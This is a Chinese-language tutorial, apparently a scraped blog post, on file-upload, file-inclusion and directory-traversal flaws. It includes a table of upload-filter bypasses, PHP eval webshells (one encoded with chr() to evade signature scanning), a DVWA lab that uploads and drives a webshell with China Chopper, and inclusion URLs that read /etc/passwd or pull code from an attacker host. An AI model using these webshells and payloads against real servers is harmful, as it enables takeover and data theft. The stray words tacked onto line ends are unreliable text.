文件上传、文件包含和目路遍历是《黑客防线》盛行的时代常谈的getshell手法,但到如今的安全书藉感受就比较少说起或一笔带过。在谈的年代看不懂,在看得懂的年代又不谈了,概念感受老是很模糊因此想探究一翻。php
以假设当前服务端具备上传图片功能为例。html
文件上传漏洞是指利用程序提供的文件上传功能,上传当前中间件可执行的脚本文件。好比tomcat就上传jsp文件等。git
其实文件上传不是你能把脚本文件传上去就成功了,你还得知道其上传到的位置,还须要上传到的目录容许执行,不然传了上去也无法利用。github
严格来讲,文件上传还可能致使其余问题,好比上传超大文件形成占用带宽占满磁盘等,不过这里就暂且不讲了。web
防御手段 | 上传方法 | 利用难度 |
无防御手 | 直接上传.jsp文件 | 易 |
服务器端content-type头校验 | burpsuite截包直接修改为image/jpeg等 | 易 |
服务器端文件幻数检测 | 在脚本开头加上幻数便可 | 易 |
服务器端黑名单 | 中间件可能支持多个扩展名,改为不在黑名单中的。或者传一个.jsp.xxx配合中间件文件解析漏洞 | 前易后难,由于之前的文件解析漏洞都被补上了 |
浏览器端白名单 | 先将.jsp改成.jpg上传时burpsuite拦包改回.jsp便可 | 易 |
服务器端白名单 | 上传文件,配合文件包含漏洞 | 难。须要先存在文件包含 |
文件上传是为了控制服务器,因此传的要么是小马要么是大马。shell
所谓小马,就是一句话木马。能作为木马的单条代码,要么具备能动态执行语句的函数,要么具备能调用系统命令的函数。小马须要客户端给小马指定要执行什么命令,最经典的小马客户端应该是中国菜刀。经典的php小马长这样:数据库
<?php @eval($_POST[“cmd”]);?>
所谓大马,就是本身具备web界面供用户操做的webshell,因为具备界面因此不须要客户端。典型的大马长这样(图片来自百度百科):浏览器
webshell密码在小马和大马中其实不是一个意思。tomcat
大马的密码,是黑客为了防止别的黑客发现其大马后能够直接利用而加入的验证语句,大马的密码就是咱们日常认知的密码。安全
而小马密码,是指webshell获取提交时用的参数名,只有参数名对了一句话才能获取到提交的内容,因此一句话木马的“密码”必然是存在的而不是故意加上去的。
好比在如下一句话中,“密码”是cmd(咱们在我一些教程中看到的暴破小马密码操做,其实质就是在猜一句话究竟是获取什么参数名的值)
<?php @eval($_POST["cmd"]);?>
固然若是你想----虽然没什么意思----也彻底能够给一句话加一个真正的密码,好比前边的一句话被改为以下:
<?php if(md5($_POST["pwd"])=="e10adc3949ba59abbe56e057f20f883e")@eval($_POST["cmd"]); ?>
首先,咱们要理解防御程序对webshell的查杀是根据“特征码”查杀的,好比只要上传的文件中含有eval就认为其是webshell。
而后,咱们须要明确最后咱们必然是要使用eval这类函数的,否则没法执行代码。
因此,免杀的概念就能够定义为:使用不包含特征码的语句来生成eval等特征码的操做。非特征码语句生成特征码通常经过是编码实现的。
好比,弄成下面这样,通过各类编码最后生成eval函数执行客户端提交:
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
看到系统有文件上传的地方就测一下2.2中说的各类手法能不能上传webshell。
小马内容以下,保存为yijuhua.php(我这里上传后的文件地址是http://10.10.6.91/dvwa/hackable/uploads/yijuhua.php):
<?php @eval($_POST["cmd"]);?>
打开菜刀,在主界面空白处右键,而后点击右键菜单中的“添加”按钮添加shell。地址处填写小马的URL,地址右侧填写eval()取的参数名(即所谓的密码),配置填写数据库的信息若是不知道或不想连数据库能够不用管。
添加完成后在主界面便可看到添加的小马,选中后在其上右键即会出现可进行的操做,通常使用“文件管理”和“虚拟终端”。
咱们以打开虚拟终端执行一条命令做为演示,结果以下,证实成功执行。
咱们使用wireshark追踪上述过程的数据流,能够看到其工做原理就是给cmd参数赋值而后post,其余文件管理什么的也都同样。
文件包含是指当前脚本文件可经过include等函数,导入其余文件的代码到本文件引起的漏洞。
若是“其余文件”能够是本地文件(本机上的文件)那就是本地文件包含漏洞,若是“其余文件”能够远程文件(其余机器上的文件)那就是远程文件包含漏洞。也就是说这两种漏洞产生的位置是同样的,只是由于利用形式不一样才把他们区分开来。
本地文件包含漏洞一是能够查看本地敏感文件,二是能够配合文件上传漏洞执行攻击代码。
好比当前存在页面http://www.vuln.com/vuln.php?page=xxx,其代码以下:
if (isset($_GET['page'])) { include $_GET['page'].'.php'; } else { include "default.php"; }
使用http://www.vuln.com/vuln.php?page=../../etc/passwd%00那就能够查看/etc/passwd文件的内容(固然得基于..个数对的前提下)
使用http://www.vuln.com/vuln.php?page=../../webshell.jpg%00(webshell.jpg中是文件上传中上传的攻击代码)就能执行webshell.jpg中的攻击代码。
远程文件包含通常是用于包含远程攻击主机上的恶意代码文件实现攻击。
仍是上边的http://www.vuln.com/vuln.php?page=xxx,若是存在远程文件包含
那使用http://www.vuln.com/vuln.php?page=http://www.hack.com/webshell,访问那么http://www.hack.com/webshell.php的代码就会被执行。
看到像指定文件名的参数
本地文件包含----把该参数改为其余文件名,看能不能包含。
远程文件包含----把该参数改为百度首页,看能不能包含。
目录遍历是指攻击者能够经过,将文件变量改为../../etc/passwd等形式下载预期外文件的漏洞。
按目录遍历的定义会产生一个问题,这样的话目录遍历和上边的本地文件包含引发的本地敏感文件泄漏有什么区别呢?
从技术上来看,文件包含形成的信息泄漏是经过include、read等函数把文件读取到当前文件内进行展现;而目录遍历是中间件配置引起的问题。
从url表现上看,文件包含形成的信息泄漏文件名是一个参数,而目录遍历中的文件名在url中而不是一个参数。
从内容表现来看,文件包含形成的信息泄漏泄漏的信息是展现在html文件中;而目录遍历引起的信息泄漏是泄漏文件本身。
好比同是/etc/passwd:
漏洞 | url | 内容表现 |
文件包含 | http://www.vuln.com/vlun.php?filename=../../etc/passwd | 访问到的是vlun.php对应的html文件,/etc/passwd的内容被插入在该html文件中显示 |
目录遍历 | http://www.vuln.com/../../etc/passwd | 访问到的就是/etc/passwd自己,而不是将其内容显示在其余文件中 |
一个网站,找到两个不一样目录的文件,访问其中一个文件后,试看能不能经过../方式访问到另一个文件。
若是能够试试看能不能访问非本网站目录下的文件。若是不能够那就是本网站没目录遍历漏洞。
参考: